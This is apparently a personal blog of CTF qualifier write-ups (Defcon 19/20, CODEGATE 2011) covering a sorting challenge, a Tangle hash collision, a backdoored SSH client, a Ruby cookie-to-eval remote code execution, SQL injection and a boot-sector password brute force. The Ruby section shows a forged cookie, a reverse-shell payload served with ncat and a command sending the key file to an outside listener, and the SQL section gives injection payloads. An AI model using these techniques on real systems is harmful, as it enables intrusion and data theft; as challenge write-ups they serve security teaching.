Tuesday, June 5, 2012

Defcon 20 CTF qualifiers: urandom 300

On this challenge we need to connect to a service that will give us 100000 unsigned integers (uint16_t), and we need to send the required steps to sort this huge list. However, is not going to be an easy task, as there are 2 restrictions:
  1. You only have 10 seconds for reading the numbers, sorting them and sending back the answer to the server 
  2. The anser needs to be "optimal" (or close enough). "[...] If you correctly sort the array in sufficiently few moves I will give you a key!" 

You can solve the first restriction with a good server with good network connection. However, you won't get the answer if you don't meet the second requirement.

As speed is one of our concerns, our sorting algorithm will be Quicksort. It's fast, but... it'll take a huge amount of "swap moves" or "steps" to sort the numbers. It'll take around ~1M moves to sort a random array of 100000 elements, so we'll need to improve that (sending that amount of data might require a really fast internet connection, and for sure it won't be the optimal solution).

Thinking about the problem I realize that the "swaps" moves can be reduced. Imagine that you need to order a deck of cards. Basically you'll search the lowest card from left to right, moving it to the left (first position) once you've found it. Afterwards, you'll search the next-lowest card, and so on. This algorithm that most people use is called Insertion sort. Of course, that process is quite slow, but if you think about that, it can be optimal regarding the number of "swap moves".

The idea behind is that you will sort your deck in the usual way, but using a "cheat-sheet/oracle" that will tell you exactly which is the sorted position for each of your cards. In that case, you'll need only one "swap move" per card, using a maximum of N swap moves and it'll run very quickly.

Therefore, we'll use 2 lists: the first one will be the original (unordered) list. The next one will be the sorted one (using quicksort). Using the sorted list will allow us to get the optimal? number of "swaps moves".Here you go the quick and dirty algorithm:

  1. Grab the unsorted list of integers
  2. Sort them using Quicksort
  3. For each number in the sorted list:
  1. Get the number's position in the sorted list (Sth)
  2. Get the number's position in the unsorted list (Uth)
  3. Send to the server one "swap move", using the previous information (Uth:Sth)
  4. Update the unsorted list with the move that we have sent (that's because the same number might need to be used or moved more than once until it's been "ordered").

Implementing this solution solved only one part of the problem. Issues like bad coding practices, the 5 minutes cooldown and the overall speed of the Python/network code made it difficult to get the solution. In fact, the most difficult part was troubleshooting the apparently "flawless" code, as the server was rejecting any solution... In the end, I found out that it was a little/big endian issue :'(.

After fixing all the previous issues, and running again the script, we got the solution:
Congratulations, your final array is sorted correctly.

Here is your key: a7482ddfb82601fdc392b67836883dcc

I've added here the code that generates the "swap moves" from some sample "datadumps" that were obtained during the CTF. Be careful, as it's a really low quality code :(.

Finally, I'd like to say thanks to my team, as they give me a hand that allowed me to solve this challenge :).

Defcon 20 CTF qualifiers: b200

On the second binary challenge, we have a copy of the server that is listening in one DDTEK servers. We need to find a way to get the key from it.

Basically, the program makes some sanity checks and starts a listener on port 18703, creating a fork process for each request to the server. On little problem here is that GDB on FreeBSD is not handling properly forking process, so you'll need to patch the binary to make easier the debugging proccess.

As you can see below, the main loop that handles the requests will create a fork'd process that will call the function "ptrCheckSolution" (0x08049460)
.text:08049344 mov     [esp], ebx      ; fd
.text:08049347 mov     dword ptr [esp+4], offset ptrCheckSolution ; int
.text:0804934F call    mainRecvLoop

Click me to expand

It seems that we need to analyze that function (0x8049460). Basically it's divided in the folllowing steps:
  1. Check if some "magic" values were sent
  2. Get the length of 2 variables (maximum of 400bytes each). After that, the application will read the 2 variables with the size that we specified before
  3. Do some calculations and if everything is ok, the "key" file will be sent. Otherwise. a "sorry\n" message will appear on our console :(

Step 1) Check that valid "tokens" were sent

We'll need to send 4 words that the server is expecting. As you can see below, it's easy to spot the values from the assembly code:

.text:080494F6 mov     ecx, [ebp+fd]
.text:080494F9 mov     dword ptr [esp+8], 4 ; int (bytes to read)
.text:08049501 mov     [esp+4], eax    ; int
.text:08049505 mov     [esp], ecx      ; fd
.text:08049508 call    recvData        ; Read 4 bytes that we sent
.text:08049533 cmp     ebx, 0FE732D6Fh ; "Magic value #1"
.text:08049539 jnz     short loc_8049  ; "EXIT if magic value doesn't match

The "magic" values are the following: 0x94A4C265h, 0xFE732D6F,0xEEF814CB,0x6EC8A126

Step 2) Read our variables

The server will proceed to read the size of the 2 values that we are going to be sent, checking that each value doesn't exceed 400 bytes

.text:0804960E call    recvData
.text:08049613 cmp     eax, 4
.text:08049616 jnz     loc_80
.text:0804961C mov     eax, [ebp+size]
.text:0804961F cmp     eax, 400h
.text:08049624 ja      loc_8
After that, both values will be read, checking that both of them has the same length, but with different values.
.text:0804969C cld
.text:0804969D cmp     eax, eax
.text:0804969F mov     esi, ebx
.text:080496A1 mov     ecx, eax
.text:080496A3 repe cmpsb
.text:080496A5 jz      loc_80494CD     ; "Are different the values? If not, go to error"

Step 3) Mathematical calculations

If the previous checks were ok, the server will proceed to do some complex calculations on each variable that we sent. After that, it'll check that the result of the calculations were the same for both values.

.text:080496DB call    tangleHASH  ; <= "Complex calculations here"
.text:08049715 call    tangleHASH  ; <= "Complex calculations here"
.text:08049722 mov     esi, [ebp+var_124]
.text:08049728 mov     ecx, 20h
.text:0804972D mov     edi, ebx
.text:0804972F cld
.text:08049730 repe cmpsb   ; 
.text:08049732 jnz invalidValues ; "Exit if both values are identical"
If you take a look on the function that is doing the complex calculations, you'll see plenty of "hardcoded" values.

.text:0804A24B mov     [ebp+var_498], 14B62D86h
.text:0804A255 mov     [ebp+var_494], 31CF379Ch
.text:0804A25F mov     [ebp+var_490], 1BC6382Ah
.text:0804A269 mov     [ebp+var_48C], 752E03B3h
.text:0804A273 mov     [ebp+var_488], 0D0346A2Ah
.text:0804A27D mov     [ebp+var_484], 0A1DC5B93h
.text:0804A287 mov     [ebp+var_480], 0F9BB11D2h
.text:0804A291 mov     [ebp+var_47C], 0EB6A9A40h


If you search some of this "hardcoded values" on Google, you'll discover that it seems to be the assembly code of "the Tangle Hash function". So it seems that we need to find two different strings that have the same value. In other words... we need to find a collision on this algorithm... That might need some time :(.

However, doing a bit of research you'll find out that "Tangle" is a hash algorithm that was sent to the open competition that is searching for the next generation SHA-3 algorithm. As you can see here, it didn't pass the second round as it was vulnerable to collisiion attacks... exactly what we need :)

You can read the paper and try to implement the algorith OR you can do a quick search on Google in order to get an already implemented attack :p. Grab the code here. Take in account that you'll also require the reference implementation of Tangle (here).

After executing the files, you'll get a potential collision: Collision found in Tangle-256
Message 1:
Hash of message 1:
Message 2:
Hash of message 2:

Let's give it a try!...
$ perl -e 'print "\x94\xa4\xc2\x65\xfe\x73\x2d\x6f\xee\xf8\x14\xcb\x6e\xc8\xa1\x26\x28\x00\x00\x00\xc8\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x19\x00\x80\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80"' | ncat 18703
437f085141d357c5d28850d5119aacb5   <== Solution!
Got it!. The solution to this challenge is 437f085141d357c5d28850d5119aacb5
Note: Copy of the Tangle implementation + collision program added here

Defcon 20 CTF qualifiers: b100

On this challenge, we face a zip archive with 3 files (mac.h, ssh and sshd). The file "mac.h" seems to be encrypted, but if you take a look carefully you'll be able to see some patterns. The other 2 files seems to be the client/server executables for SSH.

Anyway, analyzing the files will give us a clue about the "encryption" algorithm. So, we'll choose the client executable ("ssh"). A quick win is always search for text references to the "mac.h" file. We were lucky, as there were 6 references to that string in different locations:

try_password_authentication+13D  mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"
try_password_authentication+17D  mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"
input_userauth_info_req+1AA  mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"
input_userauth_info_req+1EA  mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"
userauth_passwd+170   mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"
userauth_passwd+1B0   mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"

Taking a deeper look on the "input_userauth_info_req" function we'll see the following string: "SSH2_OUT: %s \tuser: %s \tpass: %s \t(%s)\n"

Googling for the string "SSH2_OUT" will hint us that we are facing a backdoored executables that writes to a log file all the usernames/passwords. Now it's easier to understand the code:

Step 1) Do not store login attempts for user "abrazi":
ssh:004111AB mov     eax, 6
ssh:004111B0 mov     rsi, rbx
ssh:004111B3 mov     edi, offset aAbrazi ; "abrazi"
ssh:004111B8 cld
ssh:004111B9 mov     rcx, rax
ssh:004111BC repe cmpsb
ssh:004111BE jnz     loc_4112    ;"Do not log if user is 'abrazi'"

Step 2) Save the credentials details (IP, username,password) in the buffer 'abuff'

ssh:004112D8 loc_4112D8:
ssh:004112D8 mov     r12, qword ptr cs:options+0C0h
ssh:004112DF mov     rbx, [r8]
ssh:004112E2 call    get_remote_ipaddr
ssh:004112E7 mov     r9, rbp
ssh:004112EA mov     rcx, rax
ssh:004112ED mov     edx, offset aSSH2_out ; "SSH2_OUT: %s \tuser: %s \tpass: %s \t(%s)\n"...
ssh:004112F2 mov     r8, r12
ssh:004112F5 mov     esi, 400h       ; maxlen
ssh:004112FA mov     edi, offset abuff ; s
ssh:004112FF xor     eax, eax
ssh:00411301 mov     [rsp+38h+var_38], rbx
ssh:00411305 call    _snprintf
ssh:0041130A jmp     loc_4111C4

Step 3) Encode the previous string using "NOT" operator, that basically is the same than XOR'ing the string with 0xff

ssh:004111F0 loc_4111F0:                             ; CODE XREF: input_userauth_info_req+19D j
ssh:004111F0                 not     ds:abuff[rdx] ; "chr = ¬chr" or "chr = chr ^ 0xff"
ssh:004111F6                 add     rdx, 1
ssh:004111FA                 cmp     rdx, rax
ssh:004111FD jnz     short loc_4111F0

Step 4) Write the encrypted string to the "log" file (mac.h)
ssh:00411205 loc_411205:                             
ssh:00411205 mov     esi, (offset a_sshId_dsa+0Ah) ; modes
ssh:0041120A mov     edi, offset aUsrIncludeMac_ ; "/usr/include/mac.h"
ssh:0041120F call    _fopen
ssh:00411214 test    rax, rax
ssh:00411217 mov     cs:alog, rax
ssh:0041121E jz short loc_411245
ssh:00411220 movsxd  rsi, cs:alen    ; size
ssh:00411227 mov     edi, offset abuff ; ptr
ssh:0041122C mov     rcx, rax        ; s
ssh:0041122F mov     edx, 1          ; n
ssh:00411234 call    _fwrite
ssh:00411239 mov     rdi, cs:alog    ; stream
ssh:00411240 call    _fclose

So, with the following script, it'll be possible to decrypt the original (mac.h) file:

for i in cifrado:
    #val=256+~ord(i) <- NOT operation
    val=ord(i) ^ 0xff  # NOT == XOR(0xff)

print output
Unencrypted output:
SSH2_OUT:  user: root  pass: foobar  (ddtek.biz)
SSH2_OUT:  user: root  pass: f00bar  (ddtek.biz)
SSH2_OUT:  user: root  pass: mypassw0rd  (ddtek.biz)
SSH2_OUT:  user: root  pass: supr3m3p0w3r  (defcon.org)
pass_from:  user: root  pass: supr3m3p0w3r  (defcon.org)
SSH2_OUT:  user: emily  pass: l0v3ly
SSH2_OUT:  user: emily  pass: w0nd3rful
SSH2_OUT:  user: emily  pass: n0pa$$w0rd
pass_from:  user: emily  pass: l0v3ly  (hackeruniversity.edu)
pass_from:  user: feather  pass: l1ght3rthand1rt  (ddtek.biz)
pass_from:  user: feather  pass: wh@tsmypa$$  (ddtek.biz)
pass_from:  user: feather  pass: justw@it  (ddtek.biz)
pass_from:  user: feather  pass: ohmygoD  (ddtek.biz)
pass_from:  user: feather  pass: l1ght3rthand1rt  (ddtek.biz)
pass_from:  user: emily  pass: l0v3ly  (ddtek.biz)

After some tries (and discovering that the UI was buggy) you'll get the right solution: supr3m3p0w3r

One last side note: the SSH daemon (sshd), it's also back-doored, and it'll give you access to any account if a "secret" password is entered. However, it seems that the password is not easy to be crack, so if you want to spend some CPU cycles, give it a try :p.
sshd:004092B7 loc_4092B7:             ; salt
sshd:004092B7 mov     esi, offset salty
sshd:004092BC mov     rdi, r12        ; key
sshd:004092BF call    _crypt          
sshd:004092C4 cld
sshd:004092C5 mov     rsi, rax
sshd:004092C8 mov     edi, offset encryptedPWD ; "xzoQHjF6pMZlY"
sshd:004092CD mov     ecx, 0Dh
sshd:004092D2 repe cmpsb   ; Check if crypt(entered_password)  == "xzoQHjF6pMZlY"
sshd:004092D4 jnz     short loc_409303 

Monday, June 6, 2011

Defcon 19 CTF qualifiers: gb200

Another challenge, concretely gb200. After connecting to the server we observed it was sending back some ordered numbered (000111222333444555 x 3) asking for a password, and then for some numbers.

$ ncat pwn522.ddtek.biz 6000
invalid msg3
invalid msga

After playing a bit, it can be observed that the output of the server is always the same characters but unordered, and that the service accepts a maximum of 4 digits. So maybe we need to find a key that is able to "reorder" again the string.

So, we need some scripting...
# db200_sol.py
import socket

def connect():
    HOST = 'pwn522.ddtek.biz'    
    PORT = 6000             
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
    except Exception as e:
        return None
    return s


while 1:
        data1 = s.recv(1024)
        data2 = s.recv(1024)
        print '[RECV]: ', repr(data1)+repr(data2)
        i = i+1
        print '[SENT]: ', repr(data1)+repr(data2)
    except Exception as e:
        print '[ERROR]: ' + str(e)
        if (s &lt;> None):

If we run the previous script on the background and wait some minutes, we'll be able to obtain the following response from the service.
$ python db200_sol.py > db.txt&
$ cat db.txt | sort | uniq -c | sort | more
      1 [ERROR]: [Errno 32] Broken pipe
      1 [RECV]:  '0'"00111222333444555000111222333444555000111222333444555\nLet's not be too rough on our own ignorance; it's what makes America great!\n\n"
      1 [RECV]:  '0''00211022443145544200011122333145553122104443552553330\n'
      1 [RECV]:  '0''02454034521103233304013422435241154254253515523111000\n'
      1 [RECV]:  '0''03213030403235555504410122532443152411544102134152023\n'
Solution: Let's not be too rough on our own ignorance; it's what makes America great!
Game over :).

Note: I've added the script here

Defcon 19 CTF qualifiers: pp300

This is the solution for pp300 (http://pwn508.ddtek.biz:52719/).

The first try is looking against the Javascript counter. Nothing interesting, apart that if the current time meets the wanted date, the following message is printed.
This is a dead end, but the wrong spelling of the word (Fiannly instead of Finnaly) can make people waste time in the wrong direction.

However, it can be observed that the cookie sent by the server (rack.session) is a heavy one, and at first glance seems that it's base64 encoded. However, decoding that value is translated to non-cleartext data, so no luck.

Now, instead of looking on internet more information about ('rack.session') or about the "sinatra" server, we do the same than in video-games: shoot first, ask questions later :). So, launch Burp, send to Intruder the request and do a "bit flipper" attack against the cookie. We cross the fingers and hope to be lucky like the last time.

After waiting some time, we obtained 5 invalid requests with a considerable size. That responses contains a stack trace of the application that discloses some source code. If we put all the lines together we'll obtain the following file.

set :bind, ""
set :static, "true"
set :public, $wdir
puts "i am assrck"
url = "{$options[:oport]}/"
get '/' do
  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
      puts "did not find session"
      session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
      session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
      session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
      session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
      b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))

Basically we are interested on the eval function that execute code from one URL that we can control, as this information is taken from the cookie.
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
response = HTTPClient::get_content(nurl).chomp 
mcode = Zlib::Inflate.inflate(Base64.decode64(response)) bp = eval(mcode)
So, we need to modify the cookie that is sent to the browser, in order to execute the code that we wanted :). In the end, the most easy way was downloading sinatra, to avoid playing with  the weird Base64 implementation of Ruby (RFC 2045 by default, instead of the most common RFC 4648).

The following code will generate a cookie that will make the application to connect to our server.
require 'sinatra'
require 'Zlib'
require 'Base64'
enable :sessions
set :port, 31337

  get '/' do
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump("http://w.x.y.z:31337/"),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    print "\nCookie: #{session}\n"    

So, we just need to repeat any valid Http request using the cookie previously generated, and the application will connect to a listener that we put on our server. We just need to send an adequate payload...

command = `cat key`
data = Base64.encode64(command)
data = data.gsub!(/[\n]+/, "");
nurl = "http://w.x.y.z:31338/?" + data  

However, on the line 10 of the server, we can observe that the server is expecting a payload compressed with Zlib and then converted to Base64
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))

So we'll create our payload with the following code.
require 'Base64'
require 'Zlib'
file = File.new("reverseShell.txt", "r")
contents = ""
file.each {|line|
  contents << line
puts Base64.encode64(Zlib::Deflate.deflate(contents))
And then we'll solve our challenge: :)
$ ruby genPayload.rb > r5.txt
$ ncat -kl w.x.y.z 31337 -c "cat r5.txt"&
$ ncat -klv w.x.y.z 31338
Ncat: Version 5.35DC18 ( http://nmap.org/ncat )
Ncat: Listening on w.x.y.z:31338
Ncat: Connection from
Host: w.x.y.z:31338
echo -n "SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK" | base64 -d
ISBN-13: 978-1931993494
Note: I've added all the code here.

Tuesday, March 8, 2011

CODEGATE YUT 2011: vuln200 writeup (unauthenticated solution)

I've read some solutions to CODEGATE CTF 2011 Vuln200 and I think I can add two things: another way to access to the "admin" section and another interesting (but really slow) way to solve this challenge.

Basically, this challenge was a SQL Injection but the flag were only shown if you were logged as the user "Administrator". What we're going to show is how to solve this challenge... unauthenticated :).

Standard Solution (Recommended):

Create an account, login as that user, spot an easy SQLi but... no tables or data with our flag :(.

One tip suggested to "login as Administrator" so let's do it. On the write-ups that I have seen, the Teams were reusing "Administrator" added by other teams or creating the account using the cool trick of adding spaces to the end of the login_name.

Another way to create an "Administrator" account was using a SQLi that was present on the register.php page. First, the page check that the user is not registered and, if this condition is met, then the user was created.

So, we have an INSERT statement, how we can use that? If you test the parameter, you'll find that the parameter 'email' is vulnerable. So, let's add a new Administrator account using the following request (observe how I use the MD5() function, as the database was storing the passwords in this format)

POST /register.php?q=944a5ae3483ed5c1e10bbccb7942a279 HTTP/1.1


Now we can login into the application and get the flag using a UNION query, as it's already explained on another writeups.

Unauthenticated Solution (or converting vuln200 into vuln400+):

So, we have a SQL injection in the register page... how can we use it? It's interesting because this can be seen in real life.

The first thought can be to use SLEEP() and you can get Binary Search with that, but I chose to use a different approach, just for fun.

  • Step 1) Assume that we want to read the value of USER() on the database. How we can do it? Easy, read on byte of the response... convert to INT and then store that information in the parameter "password" using SQLi. With that, we'll have created a new user with a password that it's the first byte of the text that we want to extract.

email=asdf@example.com') ('name','surname','random_user_byte1',(SELECT MD5(SUBSTRING(USER(),0,1)) FROM dual),'mypassword'),'asdf@example.com'%23
  • Step 2) Then, to obtain that byte back, we just need to bruteforce the login page with the 'random_user_byte1' account. With this account, the valid password will be the first byte of the data that we want to retrieve.

  • Step 3) Repeat, wait++ and enjoy (taking care that a new we need to register a unique username on each request).

This approach is *really* slow, but it can be parallelize easily and also you can convert it to a Binary Search Algorithm (you'll make 2 request, but you won't need to wait until the SLEEP() function has returned). Seems that the CODEGATE Team knew that and (I'm guessing) that's why they added a lot of random rows on the table that was storing the flag.

So, if we want to cut off the hours required to find the flag we need to find another way... Once you have starting to download the data on the table raw_data you can see that it's a base64 string with plenty of invalid hashes. So, why we are not using the power of the SQL language to Query the database?

Something like that will be awesome:
SELECT raw_id from table where BASE64_DECODE(raw_data) like '%flag%

Sadly, as far as I know, there is no a function on MySQL like BASE64_DECODE, so no cigar this time as we cannot search on the table for bas64 strings that contains the text "flag" :(. However, if you think a bit about that, you'll find a solution for our data-mining. But I'll explain later in another post. See u!

Get the PoC code here.

Monday, March 7, 2011

CODEGATE YUT 2011: Issue 500 writeup

[DISCLAIMER]: I didn't check if the flag is valid (the server doesn't accept anymore sending new flags), so maybe more work is required. However, seems that the flag might be valid. If not, let me know. Seems that the solution was correct, check another writeup made by Leet more here.

The past weekend was the CODEGATE Quals, but you still can play.  I've arrived a bit late :'(, but here it goes the (complete?) writeup for Issue 500.

    Find a key.
    you can get the key on URL : Link


So... we need to find a valid key. If we enter random data, the server issues an error.

So, first step, take a look on the folder... and we'll find a file that we can download :).

After downloading the file, let's see if we can guess the filetype:

$ file 5645E2F51AC5BC420272E0A342164314
5645E2F51AC5BC420272E0A342164314: x86 boot sector, code offset 0xc0

Cool, we have a boot sector and we need to find a key. Opening with IDA (remember, 16 bits) we can see some strings like:
seg000:05DA "Wrong password:"
seg000:05FA "Enter password:"
seg000:05FA "\x02 gate"

Si it seems that we need to find a password. Reading at the code, we spot two interesting parts:
  • A loop that reads the keyboard input on seg000:021B (hint: the code is using INT 16H GET ENHANCED KEYSTROKE)
seg000:021B getChar():
seg000:021B                 mov ah, 10h
seg000:021D                 int 16h ; KEYBOARD - GET ENHANCED KEYSTROKE
seg000:021D                     ; Return: AH = scan code, AL = character
seg000:021F                 cmp ah, 1
seg000:0222                 jz short loc_24F
seg000:0224                 cmp ah, 0Eh
seg000:0227                 jz short loc_25D
seg000:0229                 cmp ah, 1Ch
seg000:022C                 jz short loc_26B
seg000:022E                 cmp ah, 0E0h ; 'Ó'
seg000:0231                 jz short loc_26B
seg000:0233                 cmp al, 21h ; '!'
seg000:0235                 jb short getChar
seg000:0237                 cmp al, 7Eh ; '~'
seg000:0239                 ja short getChar
seg000:023B                 cmp di, 5
seg000:023E                 jnb short getChar
seg000:0240                 mov [bx+di], al
seg000:0242                 inc di
seg000:0243                 push bx
seg000:0244                 mov ax, 0E2Ah
seg000:0247                 mov bx, 7
seg000:024A                 int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:024C                 pop bx
seg000:024D                 jmp short getChar
  • A condition check that: 
    • Goes to a special section than read the disk if the condition is meet (think like the HD is now in "unlocked mode")
    • If it's false, decrements a counter (max_tries?), prints an message and then start the getPassword() loop again
seg000:0289 checkPassword:
seg000:0289                  mov cl, 10h
seg000:028B                  xor dx, dx
seg000:028D                  mov si, 7E7Ah
seg000:0290                  cld
seg000:0291 calcPasswordHash:
seg000:0291                  lodsb
seg000:0292                  call calc_hash
seg000:0295                  dec cl
seg000:0297                  jnz short calcPasswordHash
seg000:0299                  cmp dx, ds:7FFAh ;dx==0x2002
seg000:029D                  jz short goodPassword
seg000:029F                  mov si, 7FDAh
seg000:02A2                  call print_String
seg000:02A5                  call sub_358
seg000:02A8                  dec byte ptr ds:7E79h  ;numTries
seg000:02AC                  jnz loop_Input
seg000:02B0                  jmp short maxTriesReached
seg000:02B2 goodPassword:
seg000:02B2                  mov bx, 7E00h
seg000:02B5                  mov cx, 5
seg000:02B8                  mov dx, 80h ; 'Ç'
seg000:02BB                  mov ax, 201h
seg000:02BE                  int 13h ; DISK - READ SECTORS INTO MEMORY
seg000:02C0                  jnb short loc_2CA
seg000:02C2                  mov si, 7D81h
seg000:02C5                  call print_String
seg000:031D maxTriesReached:
seg000:031D                  mov ax, 40h ; '@'
seg000:0320                   mov es, ax
seg000:0322                   assume es:nothing
seg000:032D                  push 0
seg000:0330                   retf

So, seems that we've spotted the algorithm. But before, we can see that the references to some variables are meaningless, because the align/offset are not correct. It's easy to guess, as the variables for sure are pointing to the string references ("Wrong password", "Enter password",...) that we've seen before.

So, if you can see properly all the string references, launch IDA with "Loading offset" to 0x00007A00. Another quick and dirty options is patch manually all the references to point to the string.

Next step will be bruteforcing a valid password: we can try to reverse the function "encrypt_pwd" (basic XOR operations) or bruteforce it.

But, before solving that, we need to know more about the password that is entered by the user:
  • First, looking at the code, no more than 5 characters seems to be written to the temp_password
seg000:023B                 cmp di, 5
seg000:023E                 jnb short getChar
seg000:0240                 mov [bx+di], al    ;bx=offset temp_password
                                               ;al=read char
seg000:0242                 inc di
  • The password is of 16 bytes of length (0x10), and it's initialized with an space ' ' (0x20) except by the characters that the user entered previously.
seg000:027D                 mov al, 20h ; ' '
seg000:027F pad_password:
seg000:027F                 cmp di, 10h   ;di=number of readed key-strokes
seg000:0282                 jnb short checkPassword
seg000:0284                 mov [bx+di], al
seg000:0286                 inc di
seg000:0287                 jmp short pad_password

So, with this information, now we can do a bruteforce attack. Basically, we need to replicate the 'encrypt_pwd' function and iterate over all the passwords until we found a collision:

password=' ' x 16
while (calcPasswordHash(password) != 0x2002)
    iterate(password[0..5])  //aaaaa baaaa caaaa
print "Found" + password[0..5]

I implemented the code in MASM, copy and paste the code and creating a bruteforce loop. In one second, we have at least one valid collision "KD#"

More keys:


As we can see, the algorithm is quite easy to break, basically because:
  • XOR algorithm xD
  • Password constrains (only uses 5 first bytes of the password, rest are padding with ' ' --0x20--)
  • The hash is checked only against 2 bytes of the key (0x2002), so it's easy to check for collisions
As a reference, the source code (yep, i know, crappy code). If you prefer, you can download it from here.

; CODEGATE 2011 issue 500
 include \masm32\include\masm32rt.inc
     item dd 0
     MIN_CHAR db 40h
     MAX_CHAR db 50h
     temp_passwd db 10h dup(' '),0
     password_ok db 2,' gate'
     call main

main proc
     mov ebx, offset temp_passwd
     mov edi, 5
     mov al, 20h
     cmp edi, 10h
     jnb short genNewPassword
     mov [ebx+edi], al
     inc di
     jmp short loc_27F
  genNewPassword:    ;Sloppy code to implement bruteforce (aaaaa,baaaa,...)
     mov cl,MIN_CHAR
     mov dl,MAX_CHAR

     mov ebx, offset temp_passwd
     inc BYTE PTR [ebx]
     cmp BYTE PTR [ebx],dl
     jne tryPassword

     mov BYTE PTR [ebx],cl
     inc BYTE PTR [ebx+1]
     cmp BYTE PTR [ebx+1],dl
     jne tryPassword

     mov BYTE PTR [ebx+1],cl
